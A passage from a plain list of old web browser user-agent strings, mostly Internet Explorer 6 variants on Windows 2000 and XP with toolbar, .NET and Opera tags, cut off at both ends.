(compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; SpamBlockerUtility 4.7.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) Sleipnir/2.8.3\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.40607)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.50215)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM) Sleipnir/2.8.4\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Sleipnir/2.9.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; Crazy Browser 2.0.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; FDM; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; HbTools 4.7.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; Lunascape 2.1.3)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; Lunascape 6.1.5.21576)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; Sleipnir/2.8.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; yplus 4.1.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.40607)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50215)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727; Lunascape 5.0 alpha1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Advanced Searchbar; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Avant Browser [avantbrowser.com]; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Avant Browser [avantbrowser.com]; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Avant Browser [avantbrowser.com]; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Crazy Browser 1.0.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Crazy Browser 1.0.5; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Crazy Browser 1.0.5; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; DigExt)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; DigExt; .NET CLR 1.0.2914)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; DigExt; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; DigExt; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; DigExt; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; DigExt; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; DigExt; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; DigExt; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; DigExt; Q312461)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; DigExt; T312461)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FDM; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FDM; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FreeprodTB; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FunWebProducts-MyWay; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FunWebProducts; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FunWebProducts; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FunWebProducts; .NET CLR 1.1.4322; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FunWebProducts; Hotbar 4.3.5.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FunWebProducts; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FunWebProducts; i-NavFourF)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Google Wireless Transcoder;)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 3.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 3.0; T312461; Q312461)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.0; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.0; YComp 5.0.0.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.1.2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.1.5.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.1.8.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.2.11.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.2.13.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.2.2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.2.4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.2.8.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.3.1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.3.1.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.3.1.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.3.2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.3.2.0; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.3.5.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.3.5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.3.5.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.5.0.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.5.1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; IE6SP1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; InfoPath.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MathPlayer 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MathPlayer 2.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MathPlayer 2.0; FunWebProducts; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MathPlayer 2.0; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; (R1 1.5))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Lunascape 4.9.9.98)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MEGAUPLOAD 1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MyIE2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MyIE2; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MyIE2; .NET CLR 1.0.3705; .NET CLR 1.0.2914; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MyIE2; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MyIE2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MyIE2; .NET CLR 1.1.4322; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ODP entries t_st; http://tuezilla.de/t_st-odp-entries-agent.html)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ODP links test; http://tuezilla.de/test-odp-links-agent.html)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; .NET CLR 1.0.2914)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; .NET CLR 1.0.2914; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; .NET CLR 1.0.3705; .NET CLR 1.0.2914)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; Crazy Browser 1.0.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; Crazy Browser 1.0.5; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; Hotbar 4.1.5.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; Hotbar 4.2.4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; Hotbar 4.2.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; Hotbar 4.3.1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; MyIE2 0.3)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; YComp 5.0.0.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; YComp 5.0.2.5; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; YComp 5.0.2.6; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Rogers Hi-Speed Internet; Hotbar 4.4.2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; SV1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; SiteKiosk 6.0 Build 98; SiteCoach 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; SiteKiosk 6.2 Build 51)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; SpamBlockerUtility 4.6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; SpamBlockerUtility 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; Hotbar 4.2.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; Hotbar 4.3.2.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; Q312461)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; Q312461; (R1 1.1))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; Q312461; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; Q312461; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; Q312461; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; Q312461; Maxthon)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; YComp 5.0.0.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; YComp 5.0.2.6; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; YPC 3.2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; iebar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Wanadoo 5.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Wanadoo 5.3)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Wanadoo 5.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Wanadoo 5.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Wanadoo 6.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Wanadoo 6.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YComp 5.0.0.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YComp 5.0.0.0; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YComp 5.0.2.4)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YComp 5.0.2.4; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YComp 5.0.2.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YComp 5.0.2.6; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YComp 5.0.2.6; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YComp 5.0.2.6; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YComp 5.0.2.6; Hotbar 4.2.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YComp 5.0.8.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YPC 3.0.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YPC 3.2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YPC 3.2.0; (R1 1.5; yplus 5.1.02b))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YPC 3.2.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.03b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.0\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.02\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.51\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.0\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.02\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.51\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.52\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.53\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.54\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 9.00\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 9.01\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 9.10\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 9.20\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; i-NavFourF)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; i-NavFourF; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; i-NavFourF; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; i-NavFourF; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; iOpus-I-M)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; iOpus-I-M; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; iOpus-I-M; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; iOpus-I-M; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; iOpus-I-M; FunWebProducts-MyWay; .NET CLR 1.1.4322; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; iOpus-I-M; FunWebProducts-MyWay; .NET CLR 1.1.4322; FDM; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; iebar; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; iebar; HbTools 4.6.4)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; pl) Opera 8.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; pl) Opera 8.51\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; pl) Opera 8.54\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) (compatible; MSIE 6.0; Windows NT 5.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) (dns_admin@c-a-s-h.com)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.10  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.10  [fr]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.11  [de]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.11  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.11  [ru]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.20  [de]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23  [de]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23  [en-GB]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23  [ru]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 [ru]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.50  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.50  [ru]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.51  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.51  [ru]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.52  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.52 [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.53  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.54  [de]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.54  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.54 [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.54u1  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Sleipnir/2.8.1\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.12)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; (R1 1.1))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; (R1 1.1); .NET CLR 1.0.3512)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; (R1 1.1); .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; (R1 1.3); .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; (R1 